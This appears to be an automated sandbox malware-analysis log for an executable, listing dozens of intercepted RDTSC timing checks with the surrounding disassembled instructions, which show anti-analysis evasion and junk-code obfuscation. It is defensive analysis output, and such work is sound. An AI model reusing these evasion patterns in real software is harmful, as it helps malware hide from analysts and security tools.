Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CFCE8A second address: CFCEA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 push edx 0x00000009 pop edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edi 0x0000000d jmp 00007F6144D93ADFh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CFD01D second address: CFD029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F61453619D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CFD029 second address: CFD02D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CFD02D second address: CFD048 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F61453619D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F61453619DDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CFD048 second address: CFD059 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F6144D93ADCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CFD059 second address: CFD06D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F61453619DCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CFD06D second address: CFD073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CFD1C1 second address: CFD1D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CFD1D9 second address: CFD1E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CFD1E1 second address: CFD205 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619E2h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F61453619DCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CFD205 second address: CFD209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CFD556 second address: CFD563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F61453619D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CFD563 second address: CFD567 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CFD567 second address: CFD56D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CFD56D second address: CFD579 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F6144D93AD6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D029BD second address: D029EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619E3h 0x00000007 jmp 00007F61453619E6h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D04BC8 second address: D04BCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D04BCE second address: D04BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C0B96D second address: C0B9A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F6144D93AD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F6144D93AE1h 0x00000012 pushad 0x00000013 popad 0x00000014 push esi 0x00000015 pop esi 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 jp 00007F6144D93AE4h 0x0000001f push esi 0x00000020 jno 00007F6144D93AD6h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D10A5D second address: D10A63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D10A63 second address: D10A69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D206F3 second address: D206FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D206FC second address: D20700 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D20700 second address: D20706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D203E6 second address: D2040E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F6144D93ADAh 0x0000000a push esi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d je 00007F6144D93AD6h 0x00000013 pop esi 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 je 00007F6144D93AD8h 0x0000001d push ebx 0x0000001e push esi 0x0000001f pop esi 0x00000020 pop ebx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D2040E second address: D2041D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619DAh 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D3619E second address: D361A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D361A4 second address: D361B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F61453619D6h 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D361B2 second address: D361BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D361BA second address: D36200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F61453619E8h 0x00000010 pushad 0x00000011 jmp 00007F61453619E8h 0x00000016 jl 00007F61453619D6h 0x0000001c push edi 0x0000001d pop edi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D36339 second address: D36357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6144D93AE8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D36357 second address: D3636B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jnp 00007F61453619E2h 0x0000000c jno 00007F61453619D6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D3696D second address: D369A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6144D93AE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jc 00007F6144D93AE8h 0x00000010 push edi 0x00000011 pop edi 0x00000012 jmp 00007F6144D93AE0h 0x00000017 push eax 0x00000018 push edx 0x00000019 jnp 00007F6144D93AD6h 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D36C3A second address: D36C59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D36C59 second address: D36C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F6144D93AD6h 0x0000000a jmp 00007F6144D93AE6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D36C7B second address: D36C80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D38596 second address: D385B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6144D93AE8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D385B2 second address: D385C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619DFh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D385C7 second address: D385DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F6144D93AD6h 0x00000009 jmp 00007F6144D93ADCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D385DE second address: D385FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F61453619E8h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D385FD second address: D38601 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D38601 second address: D3861E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F61453619E1h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D3861E second address: D38626 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D39B40 second address: D39B46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D3C658 second address: D3C65E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D3C6F3 second address: D3C6F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D3C6F9 second address: D3C700 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D3C9ED second address: D3C9F7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F61453619D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D3C9F7 second address: D3CA48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jnc 00007F6144D93AD6h 0x00000015 popad 0x00000016 pop ecx 0x00000017 nop 0x00000018 mov dx, 4CFBh 0x0000001c push dword ptr [ebp+122D29F4h] 0x00000022 jmp 00007F6144D93AE7h 0x00000027 pushad 0x00000028 cld 0x00000029 mov dword ptr [ebp+122D5930h], edx 0x0000002f popad 0x00000030 push BAD91E42h 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 js 00007F6144D93AD6h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: D3CA48 second address: D3CA4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080269 second address: 5080270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080270 second address: 5080286 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080286 second address: 50802AB instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6144D93ADAh 0x00000008 adc ax, 74D8h 0x0000000d jmp 00007F6144D93ADBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 mov bx, cx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 50802AB second address: 50802B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 mov cx, bx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 508035D second address: 5080363 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080363 second address: 5080369 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080369 second address: 508036D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 508036D second address: 50803B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F61453619DEh 0x00000013 add ecx, 59DEE248h 0x00000019 jmp 00007F61453619DBh 0x0000001e popfd 0x0000001f mov dx, si 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 50803B0 second address: 50803B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 50803B6 second address: 50803DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f movsx edx, si 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 50803DA second address: 50803DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5CFBE second address: C5CFC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080405 second address: 5080409 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080409 second address: 508040F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 508040F second address: 5080415 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080415 second address: 508042F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F61453619DFh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 508042F second address: 5080488 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6144D93AE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F6144D93AE1h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F6144D93ADEh 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F6144D93AE7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080488 second address: 50804AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 50804AB second address: 50804B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 50804B0 second address: 50804B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 50804B6 second address: 50804BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 50804BA second address: 50804BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 50804D6 second address: 50804DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 50804DB second address: 50804EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F61453619DDh 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 50804EE second address: 5080536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push 63DCF004h 0x0000000c pushad 0x0000000d movzx ecx, bx 0x00000010 pushfd 0x00000011 jmp 00007F6144D93AE5h 0x00000016 adc al, 00000016h 0x00000019 jmp 00007F6144D93AE1h 0x0000001e popfd 0x0000001f popad 0x00000020 add dword ptr [esp], 11BC2C24h 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080536 second address: 508053D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080603 second address: 5080625 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6144D93AE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edx] 0x0000000b pushad 0x0000000c mov ecx, edi 0x0000000e popad 0x0000000f inc edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080625 second address: 5080629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080629 second address: 508062F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 508062F second address: 5080625 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007F61453619DEh 0x00000010 jne 00007F614536198Ch 0x00000016 mov al, byte ptr [edx] 0x00000018 pushad 0x00000019 mov ecx, edi 0x0000001b popad 0x0000001c inc edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080682 second address: 50806C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6144D93ADBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c jmp 00007F6144D93AE6h 0x00000011 dec edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F6144D93AE7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 50806C4 second address: 508070A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ebx, dword ptr [edi+01h] 0x0000000c jmp 00007F61453619DEh 0x00000011 mov al, byte ptr [edi+01h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jmp 00007F61453619DDh 0x0000001c mov cx, FEF7h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 508070A second address: 508071E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 72CEh 0x00000007 movsx edi, cx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d inc edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 508071E second address: 5080724 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080724 second address: 5080789 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6144D93AE0h 0x00000009 adc esi, 1D12DB48h 0x0000000f jmp 00007F6144D93ADBh 0x00000014 popfd 0x00000015 mov edx, ecx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test al, al 0x0000001c jmp 00007F6144D93AE2h 0x00000021 jne 00007F61B562BDF2h 0x00000027 jmp 00007F6144D93AE0h 0x0000002c mov ecx, edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F6144D93ADAh 0x00000037 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080789 second address: 508078F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 508078F second address: 50807DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F6144D93ADCh 0x00000008 pop eax 0x00000009 push edx 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e shr ecx, 02h 0x00000011 jmp 00007F6144D93ADDh 0x00000016 rep movsd 0x00000018 rep movsd 0x0000001a rep movsd 0x0000001c rep movsd 0x0000001e rep movsd 0x00000020 jmp 00007F6144D93ADEh 0x00000025 mov ecx, edx 0x00000027 pushad 0x00000028 mov al, ACh 0x0000002a pushad 0x0000002b mov dx, 56DCh 0x0000002f popad 0x00000030 popad 0x00000031 and ecx, 03h 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F6144D93ADAh 0x0000003b rdtsc
